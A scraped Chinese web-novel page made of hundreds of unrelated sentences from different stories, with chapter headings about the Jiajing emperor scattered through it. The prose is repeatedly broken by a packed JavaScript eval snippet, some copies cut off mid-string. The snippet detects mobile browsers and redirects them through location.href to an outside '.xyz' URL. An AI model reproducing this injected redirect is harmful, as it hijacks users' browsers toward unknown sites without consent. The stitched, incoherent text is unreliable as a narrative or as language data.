毕竟府里才死了人,我心情不太好,脸上便有些沉闷压抑,我道:“都起身继续做事吧。”众人应了“是”,看我面有不悦,遂止了说笑,不敢再言语,周围蓦地沉寂下来。 捂着脖子,自己一步步的走到学校,走进学校的大门,我跟保安还认识,说了两句,才让我进去。 大范围的黑色尸毒影响了四人,哪怕远处的杰克也没能幸免于难,迅速叠加的尸毒让四人掉血的速度如同血崩,大屏幕上迅速刷出四人先后阵亡的消息。 辟邪速度惊人,就像一阵风一般,出了苦海更是直接飞了起来,我也体验了一次惊心动魄的空中飞行,在高空中俯瞰大地,发现地面是黑压压的一片,跟苦海的颜色也没什么两样,这就是阴间和阳间的差别。 场上的其他人也没有出声,屏息似地看着姓宫的这帮人光明正大地与天元门抢人。 果然,第二天一早,周氏带着她那个无能的大孙子居然找到徐家来了。 现在林涛顾不上问,吸了一口,然后根据药老的指点,手印豁然变动,食拇指交接,中指互点,十根手指结出一个奇异的手印。 朱大少点点头道:“还好于仙子商行的支持,先期建了一百多套,后来开始出租之后,有了回头钱,才没有再去玄云商行伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为那两个8级玩家的出现,李萌看了一眼四周,只有少部分比李萌等级还低的玩家,绝大多数都是最低7级的玩家。 自从西贼弃攻新关而转攻旧关后,两关之战,每日早晚必要各自通信一次,以报平安。 虽说司马师才智过人,但终究是第一次领兵,算不上有多少经验。 任谁都没想到眼前这个最和气的汉人大官竟然就是凶名赫赫的鬼王。 随着耐力的恢复,赵离身体的各项属性也全面恢复,脱离了濒死状态,就连被过强的光辐射照瞎的眼睛,也开始逐渐恢复。 李萌死掉,对自身的损失也是目前承受不起的,10亿经验值的九曜宠物蛋很让人蛋疼,在它孵化出来之前问天歌无法获得经验值。 杜歌这一番话听到鬼修魔修错愕,唯有鬼使安静如常,冷静的看了眼红衣,又看了眼杜歌。 “嗨,多大点儿事儿,迟早给你,又跑不了我!”阿龙说着又把酒喝干了,然后又开始看着赫思白。 众弟子顾不上对面的怪物,齐齐涌向秋词,形成了一个保护罩,将秋词护在中间。 “师妹。这几百年来,你终于肯收徒弟了,我和你大师兄,都很开心,为你高兴。 “可可,看,钱又回来了!”宋兴这才放心了许多,让可可睁开眼睛看。 安花叔掐灭了手里未完的烟头,说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“禁魔堂?这又是什么地方?”然而,萧雨却从他的话中注意到了禁魔堂三个字,毕竟,他来到青莲宗已经有些时间了,不论是周围的同门师兄弟还是身居高位的宗主堂主,都未曾和他提起过禁魔堂这个地方。 “萧雨,准备!”然而下一秒,霍克锦却突然大叫一声,与此同时,他也将手指朝狗娃点了过去,将那颗白蒙蒙的光球点在了狗娃的肚子上。 苏绿幻口型微微张了张,有些为难,她很想安抚众人一番,只是不能,想了想如实道:“深不可测!”执剑山庄众人无一不神色一黯,冷了下来。 拿了雪莲子,破灵丹的药材也收集齐了,萧雨转身就想回府,不过眼神一瞟,看到第一排柜台前方,一个华丽的镶金水晶罩下摆放着一颗锦布包围的丹药。 然而,准备扛下反噬之痛的萧雨却发现,巨蛇那看似必杀的一击竟然没有给他带来任何痛苦,就好像它的攻击压根儿也没伤到巨神兵一样,可是,台上腾起的灰尘却能说明,那几百个黄土巨人绝不可能全身而退。 南宫斗武按住他的肩头,短剑在其脖劲处点了一下,一道血痕在烛光中清晰可见。 “云荷姐姐!”凝姝从远处走过来,激动的来到了云荷的身边,紧紧的抱住了她。 “挂在你公会的名下我倒是可以做主,不过你只能借助我们的名声,没有管理我们团队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然大多都是调侃,但大家对于旭爷能不能追到南美鬃狼,还是选择了相信。 而从那那太阳船之后托拽着的巨大太阳之中,几乎同时分出来一道火焰流光。 不过,下一刻,科尔森嘴唇微张,如同石化了一样,一句话也说不出来。 要知道,一直以来,系统完成任务二的要求,从来都不是光找到人就可以的。 陈子昂伸出手掌按在阿珊娜的柔软上,阿珊娜配合的轻吟了一声,心中却是紧张的噗通噗通在跳,额头冒出了几滴冷汗。 只不过因为他当时的动作,导致这些面粉留在了原地,所以这些面粉会感谢对方,会给予对方一定的帮助。 青君迟了一瞬到达另一侧,苍瞳已经与人过了一回合,激荡的罡风吹得她的青发飞舞。 苍瞳的可怕,只有七刀亲眼目睹过,&bp;一辈子都不会忘。提起苍瞳,他不欲多说,但眼神还是变了变。 所有人没说话,但都有些舍不得。宫祁瞑和宫父商量了一下,宫父同意把房子卖掉,然后决定遣散所有的佣人。现在也只有这个办法能缓解一下现在的紧张的处境。 如今,亲生的儿子就在眼前,他们看着这个已经长成了男人的孩子,他帅气,英俊,是贵族教育下的产物有风度,有气质,看着就是跟他们完全不同的人,这让他们怎么会不激动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669401|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晗宁目光中充斥着一抹担忧,鹰潭是属于邪派,不过在江湖里面却是数一数二的门派,能力并不比桃花寨的差,却一直被桃花寨打压而常年位居第二。 字里行间的意思,也不过是表达了唐诗梦对司徒嫤儿多年照顾的情义。 “下手真重。”王东扭动胳膊活动,擒拿手虽然简单,但很实用,对于制度的敌人很难逃脱,要不是数据之眼掉链子,怎么可能会如此狼狈。 关索扇着扇子,王睿跑哪去了,这么长时间,还没来,是死在半道上了吗? “是这样的…”蒋浩刚想说,却被舒霜咳嗽一声打断,这她才意识到这里不安全,有些话不能说,于是他只对王东点了点头。 “儿戏?呵呵呵,是也不是后观便可。不过你要是在这里的话出了什么事情我可帮不了你。”巫宣说着轻轻一笑,便离开了。子都看见巫宣离开之后,也只好赶了上去。子都紧随其后。 叶湛收回手,目光从霍松身上移开看着墨陌时,似乎眼底多了一丝暖意,不像刚才看霍松时的冷漠。 “看着我眼睛。,”唐韵充满感情的声音对我说道,令人不能反抗。 第一百八十五章 猜测与轰动,吕芳:到仙界了?! “轰隆隆!” 几乎乎是在嘉靖话音落下的第一时间,紧跟着吕芳就感到一阵地动山摇。仿佛有什么庞然大物正在从地底深处觉醒。 吕芳只觉得脚下的土地突然变得不再坚实,而是像波浪一样起伏不定。他知道,主子已经开始了,要把方圆二里地一切送入仙界。 想及此处,吕芳顿时起身,体内功法‘引气诀’更是在 这么强大的队伍,竟然还没有被包工头和霍靖给吞并,花觅嫉妒的都要冒酸水儿了。 “好在两年前事情终于出现了转机,楚庭查当年往事时,突然发现了另外线索。但那条线索隐隐指向了虞俞。”所以自那后,楚庭才会选择固定的拜访时间,每月去看望虞俞一次。 同时在一话中可以有数个奥特曼和怪兽登场,而不用额外的开销。 效率值和球场正负值都很强,得到八分,五个篮板,两次封盖,两次助攻。 有着犯罪记录的年轻人,又是福利院的出身,在RB社会必然是四处碰壁,难以立足。 虽然他们是律师,善诡辩,抠法律漏洞,但林逸口才也不差,一番颠倒黑白外加卖惨,警方的天秤瞬间就偏向了林逸。再加上二鬼子态度一直很嚣张,又一心为外国人说话,这便激发了骨子里「仇外」的DA因子。 正好太子说完话,守正帝还未出声,御帐中死寂一片,秦行烈这低声言语,就被人听得清清楚楚。 警察没有时间,并说现在救护中心归驻防接管,方欣是在这个临时救护中心挨的打,那她直接去找驻防就可以了。 在知道他由来的那一刻,我以为他是耻辱,但是这些天我们血脉相连,我会拼尽一切波保护自己的孩子。 也亏得主人身上阳气足,不,气运护体,没让灰门得逞,不然他们只能以死谢罪了。 “苏侯,说是要到我们家门口了,不知道搞什么,我去下面看看。”说完就直接下了楼。 他肯定会将我遣送回宫,我到时候就不能留在他的身边了,即使我现在是以一个男人的身份,但是说实话,我能与他在一起,我现在已经非常的知足了,其余的我都没有多想。 “你是说荼梧玉佩和雀松玉佩?”尹老前辈的眼睛深处有疑惑之色闪过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669402|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大哥,苏三也是刚来不久。”苏妩说完目光忽然凝聚在了他别在腰间的一根笛子上。 阴阳老祖和乾坤老祖悲愤的想要吐血,差点忍不住就要对鲲鹏破口大骂。 没想到南宫苏锦却得意洋洋的拿起了手里的白色珠子,告诉寒晟,这是极北之地白狼族的族长狼王给她的。 只是辅公佑二人刚离开,门外就吵了起来,似乎是有人要见商秀珣,却被寇仲和徐子陵给拦了下来。 不过在见到司空隽之后,苏洛宁倒是有些明白司空澈为什么要派他过来了。 就这样,以后的日子里,当周墨寒想见嫣儿时,他会让冷邱去找凤汝嫣到武玄斋见上一面。 他握着“虬龙”的右手似乎厮杀得有些脱力,一伸手,便将“虬龙”交还给了两名亲随保存。 “你去,找出那些人,全部就地处死!”韩道回过头,对着身后的百合子命令道。 李添儿取出了在进入这片原始丛林之前,杨凯心送给她的工具刀,那是一把瑞士生产的多功能工具刀,上面的刀子并不长,但是如果把它捅进自己的胸膛,也足够致命了。 第一百八十六章 饵,朕将无处不在! 看着满天的流光,还有跟此前主子带他们飞天的东西一样的飞梭,吕芳震撼的张大着嘴。 “主子,这些人都是仙人吗?”经过短暂震撼后,吕芳突然开口问道。 “此处名为大角星,是一方修仙世界……”嘉靖用神识传音给吕芳,简单说了一遍。 当然,关于大明仙宗的事情,嘉靖倒是没有多言。 一来没必要 不过,倒是没动,让他就这样抱着,自己的心脏也是砰砰地跳着。 苏万估计,等他上场了,霍华德会把所有的注意力都放在他的身上。 谁知道宠物没开出来就算了,达人之契约和霸王之契约也没看到。 可他的手掌还为落下,就直接被一道突如其来的掌风给拍飞了出去。 虽然老师和学生们都已经放寒假,但像林正秋这样寒假不回家的学生也挺多。 每次出手,就能果断带走一人性命,不过几个呼吸,就已经倒下二十余名武者。 里克-卡莱尔将他的单打战术作为球队现阶段的核心战术,他就将所有的精力都放在进攻端,不管防守? 南锣鼓巷在东城区,距离京大不远,而动物园又在去南锣鼓巷的路上,倒是挺方便。 直到随后广新社官方账号发出声明,明确表达了对方源方面积极维权的肯定。 王玫只不过是陈青云的一个玩物而已,若不是给自己生了一个儿子陈青云早就将她抛弃了。 “呱燥!”刘炎松脸色微微一沉,毫不犹豫便是一道指风点了过去,顿时就把她给点晕了过去。 苏妍有着先天的绝好嗓音,这是她的幸运。而遇到秦唐,则是她的后天幸运。 本来是防范巨汉的,后来巨汉被金蛇王突然击杀,方浩索性将错就错,把巨汉身子丢过去,哄它吃掉。 伊万诺夫看了看时间,跟几个高层相互对视一眼,同时点了点头。 一声巨响过后,整个楼道内翻腾着大股的烟雾,幸亏方浩及时收劲,所以电弧只是把楼道墙壁炸出了一个海碗大的浅坑。 “我伸你妈了个比!”丁昌根见情况无法缓颊,不由得勃然变脸,抓起身旁的椅子就向王彦成砸去。 别看楚明秋只有一个背囊,可要论身上的重量,比纪思平轻不了多少。上山前,他还在担心,可这谢山路走下来,虽然也有些累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669403|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可也绝不象纪思平这样。 似乎这种战斗不会结束,升起了又落,落下又升起,也不知道多少次。 得到这个消息之后,青木也是露出会心一笑。因为他等待的时机已经到了。 陈父也因此丢了工作,陈家每况愈下,只能靠着政府的救助资金勉强过日子。 徐凌峰道:“您知道,我身上扛着的不仅是军方的压力,还有国安局的。 紫月让拍卖场的下人出来闹腾,就是为了给他警告,怕他上了当,暴露了身份。 旁边的王建宇看到这一幕,脸色难看了下来,眼中有着一道冷意闪过。 虽然月港、安平港才是走私盛行之地,可是对于山东的商人们来说,无论如何都得先将货物运输到登、莱二州,随后顺流而下,再到福建装船出海。 刘语眉头一蹙,这钱全忠和马秋兰作威作福到自己的头上来了么? 这一幕,让皇家武道院的几个学生,顿时就像是发现了新大陆一样,用非常的奇怪的目光,看向了夏一月。 “这是我的契约魔宠,虽然没什么战斗力但是隐身能力很强,我们等一等她的消息。”赛莲娜解释道。 第一百八十七章 第一次交锋!意外之喜,巨大收获,肥死了! “喵!”
黑猫发出一声低沉的呜咽声,原本蜷缩着的脑袋突然抬起,从李长卿的怀里坐起。
察觉到怀中灵宠的特殊反应后,原本闲庭信步一般在林间漫步,打量着这块突然出现的山体的李长卿,脚步微微一顿,看向黑猫。
“可是发现了什么?”
黑猫则是没有理会李长卿,依旧自顾自的抬头东瞅瞅西瞅瞅,
十五分钟后,车子到达了指定位置,那附近有家很大的酒店,叫做金鼎。
程锋嘿嘿一笑,无脑修炼任务已经完成,现在手里有功法秘籍自然要学习一番。
春秋蝶母走进空间门户,空间门户随即消失不见,楚暮坐会神座上。
云霓无语了,背着叶错晃晃悠悠的走在步行街上,旁边不少看热闹的,都感到稀奇。
“道尊弟子,你要如何才能放过本尊?”黑暗之中传来夜魔尊的声音。
清闲峰在周磊的手里,渐渐的变大。另一只手,周磊捏动仙法,分开了七里湖湖水,最后把清闲峰放置在了湖底。
现在从他身上随便挤出来一滴神血,都有万斤之重,甚至可以当武器使用,具有相当的破坏力。
“你的意思是说要害三清圣人的,是我昆仑众仙?”火王怒极反笑,他不明白玉帝为何会有这样的逻辑,竟然连这句话都说得出来,难道是在装傻?
秦川看到这件几乎透明的飞刀,赫然是以域外魔金为主材料炼制而成。
“二师姐放心,这是修真坊市,是我们五行宗的地盘。五师弟不会有事,我们就不要担心了。”四师兄铁通胸有成竹的说道。
再者说了,就算平日有罅隙,也是云家村自家人的事儿,怎么能引了外人来欺负自己人?
“那不就得了,嫂子把他当普通客人待就好。”瑞雪轻轻淡淡扔下一句,就端了满盖帘儿的饺子开门送去屋后冻起来。
王依然睁开了双眼,回头看了看那依旧焰火四射的太阳,两人身前的巨大的虚无空洞已经消失,呈现在两人眼前的依旧是璀璨的星空。
幽灵体温很低,一个不心被穿透可能会冻伤。一只、两只尚且伤不到他,但聚集多了连他也感觉到冰冷刺骨的寒意。
“哈哈,那就多谢风宗主了!”青龙神兽和朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669404|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雀神兽齐齐出言感激道。
云中子一声暴喝,骨骼肌肉、脏腑血脉之中蕴含的力量蜂拥而出,体内的真元也全力运转,输入到拳头之上。顿时,在他拳头之前,形成一股强大的能量漩涡。
火龙巢就好像已经近在咫尺,郭奕能够感觉到那一股让人喘不过气来的龙威。
几个黑衣人大骇,连忙化作一团团黑雾,想逃离而去,然而周围却出现一朵朵青莲,将他们围困住,任他们如何冲突,就是逃不脱禁苑的范围。
天眼诀一施展,在唐昊坤一拳即将碰到凌潇的鼻子尖之时,凌潇身形微微一挪,有惊无险地躲过了这一拳。
“好,我知道了,记得保护好自己。等事情结束,我再去找你们。”邱明点点头。
沈茵的暴脾气一旦发作就是十匹马也拉不回来,她拖住严靳非要拉着我一起去江辞云打牌的地方问问他怎么就假夫妻了。我不让她去,她说我傻,和我领证的男人就算不要也轮不到别人。
此时的唐嫣光顾着聊天,把天赐的事情忘到了脑后。直接大家听到‘乓’的一声,同时转过头来,才看到天赐推着的车子行李箱全部都掉了下来。 第一百八十八章 神秘凡骨!天家无亲,朱翊钧:堂弟,你让我失望了 主子为何突然发笑?
看着突然放声大笑的主子,吕芳不由的一愣。
印象中,这好像还是他第一次见主子如此失态的大笑,主子从来都是喜怒不行于色的。
别开有时候因为严嵩或者徐阶等人提出什么赚钱的法,主子会不吝啬的赐下笑颜。
但那也不过是达到心底预期的笑而已。甚至就算是当年当上皇帝,主子
还有,平日里她最爱一身素衫,可是今日却穿上了衣柜里唯一一件的红衣,而且,她今日,似乎格外的不对劲儿,明明昨日上午他们才见过,怎么说是这么长时间不见呢?
一个青年道人就这样来到了村口,他身着一身淡青色道袍,腰间只挂了一只赤红色葫芦,除此之外便在身无长物了。
现在这位仙人终于要离他们远去了,他们此去等同于开创自己等人的天地,心中怎能不暗喜。
让孩子们在病房里,和林婉茜聊了一会,然后一些同学就先离开。
先不说对方那条道是对是错,单说对方能够有这么一个为之坚持一生的心念,这就已属不易了。
“难道运气这么好,一出来就遇到了宝贝?”任谁都能一眼看出来,此物绝对不凡,柳毅自然也不例外。
“狗哥你这是疯了,柳公子都答应不一起便不为难于你,你何必这般,非要两败俱伤吗,你打出这一式,这空间这么多强者,就算这里的人不为难你,你还能躲过别人的袭杀不成?”狐灵对着狗残苦口婆心的说道。
可是,龙腾却是根本就不知道,一个武圣中级高手,一个武圣巅峰高手,根本就不是龙腾现在能够应付得了。
片刻,李诠一众六十人已经是倒下了足足一大半了,现在也就仅仅是剩下李诠和另外一些宗师巅峰高手了,大大武师高手一个也不剩了。
“是吗,那我代佛祖谢过施主了。嘻嘻……”落松和尚这才笑着跑了上来。
“众爱卿还有谁反对方正成为山东都督的,现在就给朕站出来,只要你推荐的人能为朝廷组建一支精兵强将,那么这个山东都督就由你们推荐之人担任。”诸葛正我正色道。
神策军慌乱的模样让李归仁越发地肯定了自己的判断,李归仁当即下令不得捡拾地上的辎重,即刻追杀神策军,片甲不留。& ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669405|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' lt;/br>正是因为许峰,褚勇才真正的浪子回头,因此他对许峰,心中充满着感激,认为许峰是他的大恩人,想要报答。
如今的李瑁乃大唐皇帝,万万人之上,他既已一言而决,高适自然不会太过拘泥于这些。
他们的确没有太多的超凡手段,除了战兽血脉天赋自带的类魔法能力以外,就只有骑士的武技,看起来都是朴实无华,在虚空这种广大的战场上,作用十分一般。
“为什么他们要分散开来,这样不是更容易被各个击破?如果陛下要对付他们会更加容易。”方正不解的问道。
大门口这会热闹了起来,外边参加选拔的人大声的不满问话,让一些最后进来的人心里万分庆幸,庆幸自己刚好通过筛选。
“阿拉,看起来你母亲的死对你的触动还是蛮大的。”八云紫笑嘻嘻的说道。
黑衫客对着宫装鬼首点了点头,目光扫过眼前众人,突然抬脚走向了林婉儿。
胖子用怀疑的眼光打量着面前这个身高不过一米六,身穿时尚T恤加牛仔短裤的大学生。又看向我,意思是:你带回来的人,你自己解决。 第一百八十九章 朱翊钧:请皇爷爷称太孙! “宿命……”听到冯保的话,朱翊钧稚嫩的面庞上,失落之色越发的明显了起来。
现在的朱翊钧毕竟还是个七岁的孩子,虽然很聪明,对身为皇族和普通人的不同有一定的认知和理解,但内心终究是一张白纸需要上色。
而冯保的职责,就是通过言传身教,给他上色,让他明白皇族,尤其是他这种级别的皇族,生来就是与人
眉心正中,一处穴位时隐时现,穴位中,黑色与红色相互碰撞,眼看就要破开这道穴位了。
但不管怎样,这个在一千两百年前的苍穹大世界成长起来的幸运儿可谓当时的命运之子,以一己之力建成一个庞大的国度,只可惜在这人去世后,后代太不中用,曾经强大的国家早已烟消云散。
餐桌上已经布好菜了,果然是大厨手艺,每道菜的刀工丝丝不乱、配菜搭配的色样俱佳,尤其烧鸭更是油光水滑。
沈疏尘拿出钥匙,轻车熟路的打开了车厢的大门,看见那十个整整齐齐的纸箱子,他心中的大石也算是彻底的落了地。
“贪婪的联邦婊子。”随着这个莉莉的离去,这位暂且被称作王先生的间谍眼中的那幅色迷迷的样子也消失不见,取而代之是没有一丝掩饰的杀意。
拉着她一个转身,却见嫣影泪眼婆娑,她一只手抱住琵琶,一只手正在抹泪。
又是一愣,这世道真是奇人特别多。这人是真瞎不?不然怎么知道的这么清楚?
突然间,一声重重的闷响,紧接着灼热感扑面而来,那温度,就像是要把人烧熟了一样。
第二天一大早,江梨就从树上跳了下来,方恒一看就知道这姑娘有功夫在身,而且还不弱。接着沈云琛就从她身后落地,很显然他们昨晚是睡一起的。
“不用那么靠前,第四版给一块地方就行了,不能让你这边难做,就是你看这个门店开业时间就是今晚,你看看能不能在今天的报纸上给出了。”王先生指着纸条上的时间说道。
而且因为傅希希的事情,现在微博上不少人还对南疏带有‘怜爱’的滤镜效果,说话温和很多。
有毛病,人家明摆着是被傅希希黑的,粉丝居然还有脸在这里骂人?
石子差点没有掩饰住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669406|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计谋得逞的欣喜,古瑶瑶真是个傻丫头,自己激将法就这么轻易奏效,石子没有说话闭上眼睛微微的点点头表示同意。
在南何和帝何离开时,他还睁眼看了下,原本他是有话想要跟南何说的,但见他们出去了,他便暂时将那些话咽回了肚子里。
这些石柱直入云霄,在云层的上方撑起了整座空中之城。其实当老九看到这座空中之城的第一眼,就想着要如何占为己有了。如果那个帝国整的能够拥有这座空中之城的话,那么这将是整个游戏之中的第一城了。
正当两人谈论之时,却是天地异动,整个广陵道顿时地动山摇,本来寅时刚过,正是人们熟睡的时刻,苍天现出异向,震慑整个王朝所在势力。
刚说完,接近两里地远时,四头鳞甲秃鹰大嘴一张,四团巨大火球就喷射出来。
陆彦听见陈雪的话之后,明显有些丧气,本来他还想,跟陈雪多待一些时间的,可是看陈雪的样子,如果他强制留着陈雪的话,陈雪肯定会更加的不开心的。
不知是怕薄言禾接受不了山中的生活,还是什么,他又加了这么一句。 第一百九十章 什么?!皇上要纳妃了!严嵩:风浪越大,鱼越贵! “呵,”玉熙宫内,听完吕芳汇报的嘉靖突然发出一声哼笑,道:“看来朕的孙子,很有魄力嘛,小小年纪,就敢想着要名分了。”
看着主子脸上的笑容,吕芳心中暗道一声果然。
以他对主子的了解,并不是一个心胸狭隘的人,尤其是在对待自己的儿孙们的时候,更多的时候还是一种宽容。
况且之前主子对裕王世
龙昆出门放完鞭炮,鞭炮声响彻四面八方,算是告诉这里有人去世了。
他的腰带上系着一个坠子,如果仔细望去,或者能发现那是一方印章。
张念祖这次不避不让,指头疾点,贴着匕首的锋刃一按,那匕首顿时断成了一把秃头铁皮。诸葛刀锋一言不发地低头寻找新家伙去了。
所有的工作人员都停下了手里的工作,四处搜查着A5货品跟17顾客的身影。
现场的观众大多都是第一次见到轰天炮,那些起哄的不知不觉就被他的外形震慑,场内居然一度沉默。
秋红老以为龙喜不是儿子的对手,谁知今天身上一百块钱还能坚持到现在,还是个不输不赢。
“大胆!这是我们主公,尔等胆敢这样问话?”亲卫有点愤怒的说到。
突然,青玥想到火灵珠已经炼化,手掌一翻,一道火焰出现在掌心之中。
球场里一片寂静无声,唯有云朵的阴影渐渐飘忽过来,带来了一片晦暗莫名的冷色。
李长贵惨白的脸突然出现在门口,他的眼睛失了神,耳朵还在努力的竖着,听着。
因为在我前面的,竟赫然是一只无面,更可怕的是,那只无面的体积之大,远远超过了我能想象的界限,它就那样静静地呆在那里,全身上下还挂着丝丝的血迹,看得我头皮发炸。
“好的,欧阳明洋,我在前面停车场停下。”冥夜开车,转弯,开进旁边的停车场。
“沁沁,这是我独特的按、摩方法,只为你存在。”宋昱熠轻轻一笑,幽黑色的眸光里盈满浓浓的深情蜜意。
说话间,另外四个——两组茧人已经上前和马克站成一排了,看样子是同仇敌忾,要联手对敌。不过大嘴怪并不畏惧,又懒洋洋的站着一动不动了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669407|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' gt;让准备跟冥夜一起走进别墅的欧阳明洋,只能目瞪口呆的看着冥夜迅速消失的背影。
然而王炎的命格却出奇的硬,硬的难以理解,硬的令人发指。不久前黄石公卜算出王炎会来到流放之地以后,便被他那可怕的命格直接反噬,到现在还没缓过劲来。
脚掌再次重踏地面,于立辉此次的速度,较之先前,明显变得更加迅捷,狂猛的速度,所带起的风压,将房间内的东西都吹散。
但是,那七位弟子,明显修为不俗,爆发出来的速度,居然完全不弱于陆青山。
“原来是你,”王霸看到走出来的人后变的阴沉了起来,厉声道:原来这一切都是你做的,那我就亲自出手试试你到底有多厉害,你可敢和我单挑。
然而,她这话刚一说出,洛天手上的动作也迫不得已的停了下来,陷入了犹豫中。
沈如歌简单的冲了一个澡,换上舒适的居家服的时候,沈如歌才感觉到她有多希望这个家和家里的一切。她走下楼去,客厅里已经没有人了,隋妙妙和伍威也打算要回家了,他们和沈如歌约好了过几天一起去庙里拜拜的事情。 第一百九十一章 裕王、景王联手!家族众相! 严世蕃真的是太熟悉了!
就是这种眼神,这种熟悉的表情!
好几次了,每次老爹严嵩说出这种话,露出这种表情的时候,就说明有利可图了。
“爹,您什么意思?”严世蕃亚低声问道。
自从皇上得到仙缘开始,他发现老爹的想法他是越来越看不懂了。
不过有前面几次的前车之鉴,严世蕃明白,老
看,这就是盛弘,从前如果他得知了明兰顶撞康王氏,绝对会大发雷霆,并且强压着她去给康王氏赔罪。
一个男人的笑,也能倾国倾城,这是程真的后知后觉,而现在,她迷糊地是,刚刚周锦生说的是什么意思。
我不省人事的这些时日恐怕她所受的煎熬并不比我少多少,这从她和之前几乎判若两人的精神状态和消瘦下去的脸颊就能看出。
就在夏蝉首尾难顾之际,老人消失,连柱出现原本的位置,紧接着抱起阿玉,再施展能力,脱离战场。
此时吴笙媃二郎腿一翘,双手环胸,表情都显得有些拽拽的范儿。
散乱的棕色头发,狂狮朝观众挥手,闭上眼,深吸口气,张开双臂,他享受这种万众瞩目的感觉。
这句话是王老板对唐妙禹说的,即便唐妙禹想要开口解释什么,现在看来都已经没有任何意义了。
